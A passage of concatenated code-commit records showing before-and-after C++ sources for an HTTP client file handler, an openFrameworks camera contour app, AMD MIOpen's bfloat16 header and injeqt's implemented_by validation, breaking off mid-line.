\"http_client_handler_file.h\"\n\n\n\/* http_client_handler_file *\/\n\nhttp_client_handler_file::http_client_handler_file() : file_resource(-1) {}\n\nhttp_client_handler_file::http_client_handler_file(int fd) : file_resource(fd) {}\n\nhttp_client_handler_file::~http_client_handler_file() {}\n\nvoid http_client_handler_file::init()\n{\n http_version = HTTPVersion11;\n status_code = HTTPStatusCodeNone;\n request_method = HTTPMethodNone;\n content_length = -1;\n total_read = 0;\n}\n\nbool http_client_handler_file::populate_request()\n{\n \/\/ get request http version and request method\n http_version = http_constants::get_version_type(http_conn->request.get_http_version());\n request_method = http_constants::get_method_type(http_conn->request.get_request_method());\n \n \/\/ set request\/response body\n switch (request_method) {\n case HTTPMethodPOST:\n http_conn->request_has_body = true;\n http_conn->response_has_body = true;\n break;\n case HTTPMethodHEAD:\n http_conn->request_has_body = false;\n http_conn->response_has_body = false;\n break;\n case HTTPMethodGET:\n default:\n http_conn->request_has_body = false;\n http_conn->response_has_body = true;\n break;\n }\n \n \/\/ TODO - add any additional request headers\n \n return true;\n}\n\nio_result http_client_handler_file::write_request_body()\n{\n return io_result(0);\n}\n\nbool http_client_handler_file::handle_response()\n{\n \/\/ set connection close\n http_version = http_constants::get_version_type(http_conn->response.get_http_version());\n status_code =(HTTPStatusCode)http_conn->response.get_status_code();\n const char* connection_str = http_conn->response.get_header_string(kHTTPHeaderConnection);\n bool connection_keepalive_present = (connection_str && strcasecmp(connection_str, kHTTPTokenKeepalive) == 0);\n bool connection_close_present = (connection_str && strcasecmp(connection_str, kHTTPTokenClose) == 0);\n switch (http_version) {\n case HTTPVersion10:\n http_conn->connection_close = !connection_keepalive_present;\n break;\n case HTTPVersion11:\n http_conn->connection_close = connection_close_present;\n break;\n default:\n http_conn->connection_close = true;\n break;\n }\n \n \/\/ get content length\n const char* content_length_str = http_conn->response.get_header_string(kHTTPHeaderContentLength);\n content_length = content_length_str ? strtoll(content_length_str, NULL, 10) : -1;\n total_read = 0;\n \n return true;\n}\n\nio_result http_client_handler_file::read_response_body()\n{\n auto &buffer = http_conn->buffer;\n \n \/\/ handle body fragment in the buffer\n if (buffer.bytes_readable() > 0) {\n ssize_t bytes_readable = buffer.bytes_readable();\n if (file_resource.get_fd() >= 0) {\n io_result result = buffer.buffer_write(file_resource);\n if (result.has_error()) {\n log_error(\"http_client_handler_file: write: %s\", strerror(result.error().errcode));\n } else if (result.size() != bytes_readable) {\n log_error(\"http_client_handler_file: short_write\");\n }\n }\n total_read += bytes_readable;\n buffer.reset();\n return io_result(-1);\n }\n \n if (total_read == content_length) return io_result(0);\n \n \/\/ read data from socket\n io_result result = buffer.buffer_read(http_conn->conn);\n if (result.has_error()) {\n return io_result(io_error(errno));\n } else if (buffer.bytes_readable() > 0) {\n ssize_t bytes_readable = buffer.bytes_readable();\n if (file_resource.get_fd() >= 0) {\n io_result result = buffer.buffer_write(file_resource);\n if (result.has_error()) {\n log_error(\"http_client_handler_file: write: %s\", strerror(result.error().errcode));\n } else if (result.size() != bytes_readable) {\n log_error(\"http_client_handler_file: short_write\");\n }\n }\n total_read += bytes_readable;\n buffer.reset();\n }\n \n \/\/ return bytes available or -1 if content length not present\n if (content_length >= 0) {\n return io_result(content_length - total_read);\n } else {\n return io_result(-1);\n }\n}\n\nbool http_client_handler_file::end_request()\n{\n return true;\n}\n<commit_msg>Fix handling of residual buffer in read_response_body<commit_after>\/\/\n\/\/ http_client_handler_file.cc\n\/\/\n\n#include \"plat_os.h\"\n#include \"plat_net.h\"\n\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <ctime>\n#include <cerrno>\n#include <csignal>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <algorithm>\n#include <functional>\n#include <deque>\n#include <map>\n#include <atomic>\n#include <memory>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n\n#include \"io.h\"\n#include \"url.h\"\n#include \"log.h\"\n#include \"socket.h\"\n#include \"socket_unix.h\"\n#include \"resolver.h\"\n#include \"config_parser.h\"\n#include \"config.h\"\n#include \"pollset.h\"\n#include \"protocol.h\"\n#include \"connection.h\"\n#include \"connection.h\"\n#include \"protocol_thread.h\"\n#include \"protocol_engine.h\"\n#include \"protocol_connection.h\"\n\n#include \"http_common.h\"\n#include \"http_constants.h\"\n#include \"http_parser.h\"\n#include \"http_request.h\"\n#include \"http_response.h\"\n#include \"http_date.h\"\n#include \"http_client.h\"\n#include \"http_client_handler_file.h\"\n\n\n\/* http_client_handler_file *\/\n\nhttp_client_handler_file::http_client_handler_file() : file_resource(-1) {}\n\nhttp_client_handler_file::http_client_handler_file(int fd) : file_resource(fd) {}\n\nhttp_client_handler_file::~http_client_handler_file() {}\n\nvoid http_client_handler_file::init()\n{\n http_version = HTTPVersion11;\n status_code = HTTPStatusCodeNone;\n request_method = HTTPMethodNone;\n content_length = -1;\n total_read = 0;\n}\n\nbool http_client_handler_file::populate_request()\n{\n \/\/ get request http version and request method\n http_version = http_constants::get_version_type(http_conn->request.get_http_version());\n request_method = http_constants::get_method_type(http_conn->request.get_request_method());\n \n \/\/ set request\/response body\n switch (request_method) {\n case HTTPMethodPOST:\n http_conn->request_has_body = true;\n http_conn->response_has_body = true;\n break;\n case HTTPMethodHEAD:\n http_conn->request_has_body = false;\n http_conn->response_has_body = false;\n break;\n case HTTPMethodGET:\n default:\n http_conn->request_has_body = false;\n http_conn->response_has_body = true;\n break;\n }\n \n \/\/ TODO - add any additional request headers\n \n return true;\n}\n\nio_result http_client_handler_file::write_request_body()\n{\n return io_result(0);\n}\n\nbool http_client_handler_file::handle_response()\n{\n \/\/ set connection close\n http_version = http_constants::get_version_type(http_conn->response.get_http_version());\n status_code =(HTTPStatusCode)http_conn->response.get_status_code();\n const char* connection_str = http_conn->response.get_header_string(kHTTPHeaderConnection);\n bool connection_keepalive_present = (connection_str && strcasecmp(connection_str, kHTTPTokenKeepalive) == 0);\n bool connection_close_present = (connection_str && strcasecmp(connection_str, kHTTPTokenClose) == 0);\n switch (http_version) {\n case HTTPVersion10:\n http_conn->connection_close = !connection_keepalive_present;\n break;\n case HTTPVersion11:\n http_conn->connection_close = connection_close_present;\n break;\n default:\n http_conn->connection_close = true;\n break;\n }\n \n \/\/ get content length\n const char* content_length_str = http_conn->response.get_header_string(kHTTPHeaderContentLength);\n content_length = content_length_str ? strtoll(content_length_str, NULL, 10) : -1;\n total_read = 0;\n \n return true;\n}\n\nio_result http_client_handler_file::read_response_body()\n{\n auto &buffer = http_conn->buffer;\n \n \/\/ handle body fragment in the buffer\n if (buffer.bytes_readable() > 0) {\n ssize_t bytes_readable = buffer.bytes_readable();\n if (file_resource.get_fd() >= 0) {\n io_result result = buffer.buffer_write(file_resource);\n if (result.has_error()) {\n log_error(\"http_client_handler_file: write: %s\", strerror(result.error().errcode));\n } else if (result.size() != bytes_readable) {\n log_error(\"http_client_handler_file: short_write\");\n }\n }\n total_read += bytes_readable;\n buffer.reset();\n \n \/\/ return bytes available or -1 if content length not present\n if (content_length >= 0) {\n return io_result(content_length - total_read);\n } else {\n return io_result(-1);\n }\n }\n \n if (total_read == content_length) return io_result(0);\n \n \/\/ read data from socket\n io_result result = buffer.buffer_read(http_conn->conn);\n if (result.has_error()) {\n return io_result(io_error(errno));\n } else if (buffer.bytes_readable() > 0) {\n ssize_t bytes_readable = buffer.bytes_readable();\n if (file_resource.get_fd() >= 0) {\n io_result result = buffer.buffer_write(file_resource);\n if (result.has_error()) {\n log_error(\"http_client_handler_file: write: %s\", strerror(result.error().errcode));\n } else if (result.size() != bytes_readable) {\n log_error(\"http_client_handler_file: short_write\");\n }\n }\n total_read += bytes_readable;\n buffer.reset();\n }\n \n \/\/ return bytes available or -1 if content length not present\n if (content_length >= 0) {\n return io_result(content_length - total_read);\n } else {\n return io_result(-1);\n }\n}\n\nbool http_client_handler_file::end_request()\n{\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"ofApp.h\"\n#include \"ofxPS3EyeGrabber.h\"\n\n#define WIDTH 640\n#define HEIGHT 480\n\n\/\/--------------------------------------------------------------\nvoid ofApp::setup(){\n \/\/ Set the video grabber to the ofxPS3EyeGrabber.\n vidGrabber.setGrabber(std::make_shared<ofxPS3EyeGrabber>());\n vidGrabber.setup(WIDTH, HEIGHT);\n\n colorImg.allocate(WIDTH, HEIGHT);\n grayImage.allocate(WIDTH, HEIGHT);\n grayBg.allocate(WIDTH, HEIGHT);\n grayDiff.allocate(WIDTH, HEIGHT);\n\n bLearnBakground = true;\n threshold = 80;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::update(){\n vidGrabber.update();\n\n if(vidGrabber.isFrameNew())\n {\n colorImg.setFromPixels(vidGrabber.getPixels());\n grayImage = colorImg;\n\t\tif (bLearnBakground == true)\n {\n \/\/ the = sign copys the pixels from grayImage into grayBg (operator overloading)\n\t\t\tgrayBg = grayImage;\n\t\t\tbLearnBakground = false;\n\t\t}\n\n\t\t\/\/ take the abs value of the difference between background and incoming and then threshold:\n\t\tgrayDiff.absDiff(grayBg, grayImage);\n\t\tgrayDiff.threshold(threshold);\n\n\t\t\/\/ find contours which are between the size of 20 pixels and 1\/3 the w*h pixels.\n\t\t\/\/ also, find holes is set to true so we will get interior contours as well....\n\t\t\/\/contourFinder.findContours(grayDiff, 20, (WIDTH*HEIGHT)\/3, 10, true);\t\/\/ find holes\n }\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::draw(){\n ofBackground(0);\n ofSetColor(255);\n \/\/vidGrabber.draw(0, 0);\n grayDiff.draw(0,0);\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyPressed(int key){\n\n\tswitch (key){\n\t\tcase ' ':\n\t\t\tbLearnBakground = true;\n\t\t\tbreak;\n\t\tcase '+':\n\t\t\tthreshold ++;\n\t\t\tif (threshold > 255) threshold = 255;\n\t\t\tbreak;\n\t\tcase '-':\n\t\t\tthreshold --;\n\t\t\tif (threshold < 0) threshold = 0;\n\t\t\tbreak;\n\t}\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyReleased(int key){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseMoved(int x, int y){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseDragged(int x, int y, int button){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mousePressed(int x, int y, int button){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseReleased(int x, int y, int button){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseEntered(int x, int y){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseExited(int x, int y){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::windowResized(int w, int h){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::gotMessage(ofMessage msg){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::dragEvent(ofDragInfo dragInfo){\n\n}\n<commit_msg>find and show contours<commit_after>#include \"ofApp.h\"\n#include \"ofxPS3EyeGrabber.h\"\n\n#define WIDTH 640\n#define HEIGHT 480\n\n\/\/--------------------------------------------------------------\nvoid ofApp::setup(){\n \/\/ Set the video grabber to the ofxPS3EyeGrabber.\n vidGrabber.setGrabber(std::make_shared<ofxPS3EyeGrabber>());\n vidGrabber.setup(WIDTH, HEIGHT);\n\n colorImg.allocate(WIDTH, HEIGHT);\n grayImage.allocate(WIDTH, HEIGHT);\n grayBg.allocate(WIDTH, HEIGHT);\n grayDiff.allocate(WIDTH, HEIGHT);\n\n bLearnBakground = true;\n threshold = 80;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::update(){\n vidGrabber.update();\n\n if(vidGrabber.isFrameNew())\n {\n colorImg.setFromPixels(vidGrabber.getPixels());\n grayImage = colorImg;\n\t\tif (bLearnBakground == true)\n {\n \/\/ the = sign copys the pixels from grayImage into grayBg (operator overloading)\n\t\t\tgrayBg = grayImage;\n\t\t\tbLearnBakground = false;\n\t\t}\n\n\t\t\/\/ take the abs value of the difference between background and incoming and then threshold:\n\t\tgrayDiff.absDiff(grayBg, grayImage);\n\t\tgrayDiff.threshold(threshold);\n\n\t\t\/\/ find contours which are between the size of 20 pixels and 1\/3 the w*h pixels.\n\t\t\/\/ also, find holes is set to true so we will get interior contours as well....\n\t\tcontourFinder.findContours(grayDiff, 20, (WIDTH*HEIGHT)\/3, 10, true);\t\/\/ find holes\n }\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::draw(){\n ofBackground(0);\n ofSetColor(255);\n \/\/vidGrabber.draw(0, 0);\n colorImg.draw(0,0);\n \/\/grayDiff.draw(0,0);\n\n for(int i = 0; i < contourFinder.nBlobs; i++)\n {\n contourFinder.blobs[i].draw(0,0);\n }\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyPressed(int key){\n\n\tswitch (key){\n\t\tcase ' ':\n\t\t\tbLearnBakground = true;\n\t\t\tbreak;\n\t\tcase '+':\n\t\t\tthreshold ++;\n\t\t\tif (threshold > 255) threshold = 255;\n\t\t\tbreak;\n\t\tcase '-':\n\t\t\tthreshold --;\n\t\t\tif (threshold < 0) threshold = 0;\n\t\t\tbreak;\n\t}\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyReleased(int key){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseMoved(int x, int y){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseDragged(int x, int y, int button){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mousePressed(int x, int y, int button){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseReleased(int x, int y, int button){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseEntered(int x, int y){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseExited(int x, int y){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::windowResized(int w, int h){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::gotMessage(ofMessage msg){\n\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::dragEvent(ofDragInfo dragInfo){\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2019 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#ifndef BFLOAT16_H_\n#define BFLOAT16_H_\n#include <boost\/operators.hpp>\n#include <iostream>\n#include <miopen\/config.h>\n\nclass bfloat16 : boost::totally_ordered<bfloat16, boost::arithmetic<bfloat16>>\n{\n public:\n bfloat16() : data_{0} {}\n explicit bfloat16(float rhs)\n {\n static union\n {\n std::uint32_t bf16_st;\n float float_st;\n } bits_st;\n\n bits_st.float_st = rhs;\n\n \/\/ BF16 round and NaN preservation code matches\n \/\/ https:\/\/github.com\/ROCmSoftwarePlatform\/rocBLAS\/blob\/develop\/library\/include\/rocblas_bfloat16.h\n if((~bits_st.bf16_st & 0x7f800000) == 0) \/\/ Inf or NaN\n {\n \/\/ When all of the exponent bits are 1, the value is Inf or NaN.\n \/\/ Inf is indicated by a zero mantissa. NaN is indicated by any nonzero\n \/\/ mantissa bit. Quiet NaN is indicated by the most significant mantissa\n \/\/ bit being 1. Signaling NaN is indicated by the most significant\n \/\/ mantissa bit being 0 but some other bit(s) being 1. If any of the\n \/\/ lower 16 bits of the mantissa are 1, we set the least significant bit\n \/\/ of the bfloat16 mantissa, in order to preserve signaling NaN in case\n \/\/ the bloat16's mantissa bits are all 0.\n if((bits_st.bf16_st & 0xffff) != 0)\n {\n bits_st.bf16_st |= 0x10000; \/\/ Preserve signaling NaN\n }\n }\n else\n {\n#if MIOPEN_USE_RNE_BFLOAT16 == 1\n \/\/ When the exponent bits are not all 1s, then the value is zero, normal,\n \/\/ or subnormal. We round the bfloat16 mantissa up by adding 0x7FFF, plus\n \/\/ 1 if the least significant bit of the bfloat16 mantissa is 1 (odd).\n \/\/ This causes the bfloat16's mantissa to be incremented by 1 if the 16\n \/\/ least significant bits of the float mantissa are greater than 0x8000,\n \/\/ or if they are equal to 0x8000 and the least significant bit of the\n \/\/ bfloat16 mantissa is 1 (odd). This causes it to be rounded to even when\n \/\/ the lower 16 bits are exactly 0x8000. If the bfloat16 mantissa already\n \/\/ has the value 0x7f, then incrementing it causes it to become 0x00 and\n \/\/ the exponent is incremented by one, which is the next higher FP value\n \/\/ to the unrounded bfloat16 value. When the bfloat16 value is subnormal\n \/\/ with an exponent of 0x00 and a mantissa of 0x7F, it may be rounded up\n \/\/ to a normal value with an exponent of 0x01 and a mantissa of 0x00.\n \/\/ When the bfloat16 value has an exponent of 0xFE and a mantissa of 0x7F,\n \/\/ incrementing it causes it to become an exponent of 0xFF and a mantissa\n \/\/ of 0x00, which is Inf, the next higher value to the unrounded value.\n bits_st.bf16_st +=\n (0x7fff + ((bits_st.bf16_st >> 16) & 1)); \/\/ Round to nearest, round to even\n#else \/\/ truncation\n\/\/ do nothing\n#endif\n }\n data_ = bits_st.bf16_st >> 16;\n }\n operator float() const\n {\n static union\n {\n std::uint32_t bf16_st;\n float float_st;\n } bits_st;\n\n bits_st.bf16_st = data_;\n bits_st.bf16_st = bits_st.bf16_st << 16;\n return bits_st.float_st;\n }\n\n bfloat16 operator-() const { return bfloat16(-static_cast<float>(*this)); }\n bfloat16 operator+() const { return *this; }\n\n bfloat16& operator=(const float rhs)\n {\n *this = bfloat16(rhs);\n return *this;\n }\n bfloat16& operator+=(bfloat16 rhs)\n {\n *this = bfloat16(static_cast<float>(*this) + static_cast<float>(rhs));\n return *this;\n }\n\n bfloat16& operator+=(float rhs)\n {\n *this = bfloat16(static_cast<float>(*this) + rhs);\n return *this;\n }\n\n bfloat16& operator-=(bfloat16 rhs)\n {\n *this += -rhs;\n return *this;\n }\n bfloat16& operator*=(bfloat16 rhs)\n {\n *this = bfloat16(static_cast<float>(*this) * static_cast<float>(rhs));\n return *this;\n }\n bfloat16& operator*=(float rhs)\n {\n *this = bfloat16(static_cast<float>(*this) * rhs);\n return *this;\n }\n\n bfloat16& operator\/=(bfloat16 rhs)\n {\n *this = bfloat16(static_cast<float>(*this) \/ static_cast<float>(rhs));\n return *this;\n }\n bool operator<(bfloat16 rhs) const\n {\n return static_cast<float>(*this) < static_cast<float>(rhs);\n }\n bool operator==(bfloat16 rhs) const { return std::equal_to<float>()(*this, rhs); }\n\n static constexpr bfloat16 generate(uint16_t val) { return bfloat16{val, true}; }\n\n private:\n constexpr bfloat16(std::uint16_t val, bool) : data_{val} {}\n\n std::uint16_t data_;\n};\n\nnamespace std {\ntemplate <>\nclass numeric_limits<bfloat16>\n{\n public:\n static constexpr bool is_specialized = true;\n static constexpr bfloat16 min() noexcept { return bfloat16::generate(0x007F); }\n static constexpr bfloat16 max() noexcept { return bfloat16::generate(0x7F7F); }\n static constexpr bfloat16 lowest() noexcept { return bfloat16::generate(0xFF7F); }\n static constexpr bfloat16 epsilon() noexcept { return bfloat16::generate(0x3C00); }\n static constexpr bfloat16 infinity() noexcept { return bfloat16::generate(0x7F80); }\n static constexpr bfloat16 quiet_NaN() noexcept { return bfloat16::generate(0x7FC0); }\n static constexpr bfloat16 signaling_NaN() noexcept { return bfloat16::generate(0x7FC0); }\n static constexpr bfloat16 denorm_min() noexcept { return bfloat16::generate(0); }\n};\n} \/\/ namespace std\n#endif\n<commit_msg>* fix for bfloat16 class (#1908)<commit_after>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2019 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#ifndef BFLOAT16_H_\n#define BFLOAT16_H_\n#include <boost\/operators.hpp>\n#include <iostream>\n#include <miopen\/config.h>\n\nclass bfloat16 : boost::totally_ordered<bfloat16, boost::arithmetic<bfloat16>>\n{\n public:\n bfloat16() : data_{0} {}\n explicit bfloat16(float rhs)\n {\n union\n {\n float float_st;\n std::uint32_t bf16_st;\n } bits_st = {rhs};\n\n \/\/ BF16 round and NaN preservation code matches\n \/\/ https:\/\/github.com\/ROCmSoftwarePlatform\/rocBLAS\/blob\/develop\/library\/include\/rocblas_bfloat16.h\n if((~bits_st.bf16_st & 0x7f800000) == 0) \/\/ Inf or NaN\n {\n \/\/ When all of the exponent bits are 1, the value is Inf or NaN.\n \/\/ Inf is indicated by a zero mantissa. NaN is indicated by any nonzero\n \/\/ mantissa bit. Quiet NaN is indicated by the most significant mantissa\n \/\/ bit being 1. Signaling NaN is indicated by the most significant\n \/\/ mantissa bit being 0 but some other bit(s) being 1. If any of the\n \/\/ lower 16 bits of the mantissa are 1, we set the least significant bit\n \/\/ of the bfloat16 mantissa, in order to preserve signaling NaN in case\n \/\/ the bloat16's mantissa bits are all 0.\n if((bits_st.bf16_st & 0xffff) != 0)\n {\n bits_st.bf16_st |= 0x10000; \/\/ Preserve signaling NaN\n }\n }\n else\n {\n#if MIOPEN_USE_RNE_BFLOAT16 == 1\n \/\/ When the exponent bits are not all 1s, then the value is zero, normal,\n \/\/ or subnormal. We round the bfloat16 mantissa up by adding 0x7FFF, plus\n \/\/ 1 if the least significant bit of the bfloat16 mantissa is 1 (odd).\n \/\/ This causes the bfloat16's mantissa to be incremented by 1 if the 16\n \/\/ least significant bits of the float mantissa are greater than 0x8000,\n \/\/ or if they are equal to 0x8000 and the least significant bit of the\n \/\/ bfloat16 mantissa is 1 (odd). This causes it to be rounded to even when\n \/\/ the lower 16 bits are exactly 0x8000. If the bfloat16 mantissa already\n \/\/ has the value 0x7f, then incrementing it causes it to become 0x00 and\n \/\/ the exponent is incremented by one, which is the next higher FP value\n \/\/ to the unrounded bfloat16 value. When the bfloat16 value is subnormal\n \/\/ with an exponent of 0x00 and a mantissa of 0x7F, it may be rounded up\n \/\/ to a normal value with an exponent of 0x01 and a mantissa of 0x00.\n \/\/ When the bfloat16 value has an exponent of 0xFE and a mantissa of 0x7F,\n \/\/ incrementing it causes it to become an exponent of 0xFF and a mantissa\n \/\/ of 0x00, which is Inf, the next higher value to the unrounded value.\n bits_st.bf16_st +=\n (0x7fff + ((bits_st.bf16_st >> 16) & 1)); \/\/ Round to nearest, round to even\n#else \/\/ truncation\n\/\/ do nothing\n#endif\n }\n data_ = bits_st.bf16_st >> 16;\n }\n operator float() const\n {\n union\n {\n std::uint32_t bf16_st;\n float float_st;\n } bits_st = {data_};\n\n bits_st.bf16_st = bits_st.bf16_st << 16;\n return bits_st.float_st;\n }\n\n bfloat16 operator-() const { return bfloat16(-static_cast<float>(*this)); }\n bfloat16 operator+() const { return *this; }\n\n bfloat16& operator=(const float rhs)\n {\n *this = bfloat16(rhs);\n return *this;\n }\n bfloat16& operator+=(bfloat16 rhs)\n {\n *this = bfloat16(static_cast<float>(*this) + static_cast<float>(rhs));\n return *this;\n }\n\n bfloat16& operator+=(float rhs)\n {\n *this = bfloat16(static_cast<float>(*this) + rhs);\n return *this;\n }\n\n bfloat16& operator-=(bfloat16 rhs)\n {\n *this += -rhs;\n return *this;\n }\n bfloat16& operator*=(bfloat16 rhs)\n {\n *this = bfloat16(static_cast<float>(*this) * static_cast<float>(rhs));\n return *this;\n }\n bfloat16& operator*=(float rhs)\n {\n *this = bfloat16(static_cast<float>(*this) * rhs);\n return *this;\n }\n\n bfloat16& operator\/=(bfloat16 rhs)\n {\n *this = bfloat16(static_cast<float>(*this) \/ static_cast<float>(rhs));\n return *this;\n }\n bool operator<(bfloat16 rhs) const\n {\n return static_cast<float>(*this) < static_cast<float>(rhs);\n }\n bool operator==(bfloat16 rhs) const { return std::equal_to<float>()(*this, rhs); }\n\n static constexpr bfloat16 generate(uint16_t val) { return bfloat16{val, true}; }\n\n private:\n constexpr bfloat16(std::uint16_t val, bool) : data_{val} {}\n\n std::uint16_t data_;\n};\n\nnamespace std {\ntemplate <>\nclass numeric_limits<bfloat16>\n{\n public:\n static constexpr bool is_specialized = true;\n static constexpr bfloat16 min() noexcept { return bfloat16::generate(0x007F); }\n static constexpr bfloat16 max() noexcept { return bfloat16::generate(0x7F7F); }\n static constexpr bfloat16 lowest() noexcept { return bfloat16::generate(0xFF7F); }\n static constexpr bfloat16 epsilon() noexcept { return bfloat16::generate(0x3C00); }\n static constexpr bfloat16 infinity() noexcept { return bfloat16::generate(0x7F80); }\n static constexpr bfloat16 quiet_NaN() noexcept { return bfloat16::generate(0x7FC0); }\n static constexpr bfloat16 signaling_NaN() noexcept { return bfloat16::generate(0x7FC0); }\n static constexpr bfloat16 denorm_min() noexcept { return bfloat16::generate(0); }\n};\n} \/\/ namespace std\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * %injeqt copyright begin%\n * Copyright 2014 Rafał Malinowski (rafal.przemyslaw.malinowski@gmail.com)\n * %injeqt copyright end%\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"implemented-by.h\"\n\n#include \"extract-interfaces.h\"\n\nnamespace injeqt { namespace internal {\n\nimplemented_by::implemented_by(type interface_type, type implementation_type) :\n\t_interface_type{std::move(interface_type)},\n\t_implementation_type{std::move(implementation_type)}\n{\n}\n\ntype implemented_by::interface_type() const\n{\n\treturn _interface_type;\n}\n\ntype implemented_by::implementation_type() const\n{\n\treturn _implementation_type;\n}\n\nvoid validate(const implemented_by &ib)\n{\n\tauto interaces = extract_interfaces(ib.implementation_type());\n\tif (std::find(std::begin(interaces), std::end(interaces), ib.interface_type()) == std::end(interaces))\n\t\tthrow invalid_implemented_by_exception{};\n}\n\nbool operator == (const implemented_by &x, const implemented_by &y)\n{\n\tif (x.interface_type() != y.interface_type())\n\t\treturn false;\n\n\tif (x.implementation_type() != y.implementation_type())\n\t\treturn false;\n\n\treturn true;\n}\n\nbool operator != (const implemented_by &x, const implemented_by &y)\n{\n\treturn !(x == y);\n}\n\n}}\n<commit_msg>add missing checks<commit_after>\/*\n * %injeqt copyright begin%\n * Copyright 2014 Rafał Malinowski (rafal.przemyslaw.malinowski@gmail.com)\n * %injeqt copyright end%\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"implemented-by.h\"\n\n#include \"extract-interfaces.h\"\n\nnamespace injeqt { namespace internal {\n\nimplemented_by::implemented_by(type interface_type, type implementation_type) :\n\t_interface_type{std::move(interface_type)},\n\t_implementation_type{std::move(implementation_type)}\n{\n}\n\ntype implemented_by::interface_type() const\n{\n\treturn _interface_type;\n}\n\ntype implemented_by::implementation_type() const\n{\n\treturn _implementation_type;\n}\n\nvoid validate(const implemented_by &ib)\n{\n\tvalidate(ib.interface_type());\n\tvalidate(ib.implementation_type());\n\n\tauto interfaces = 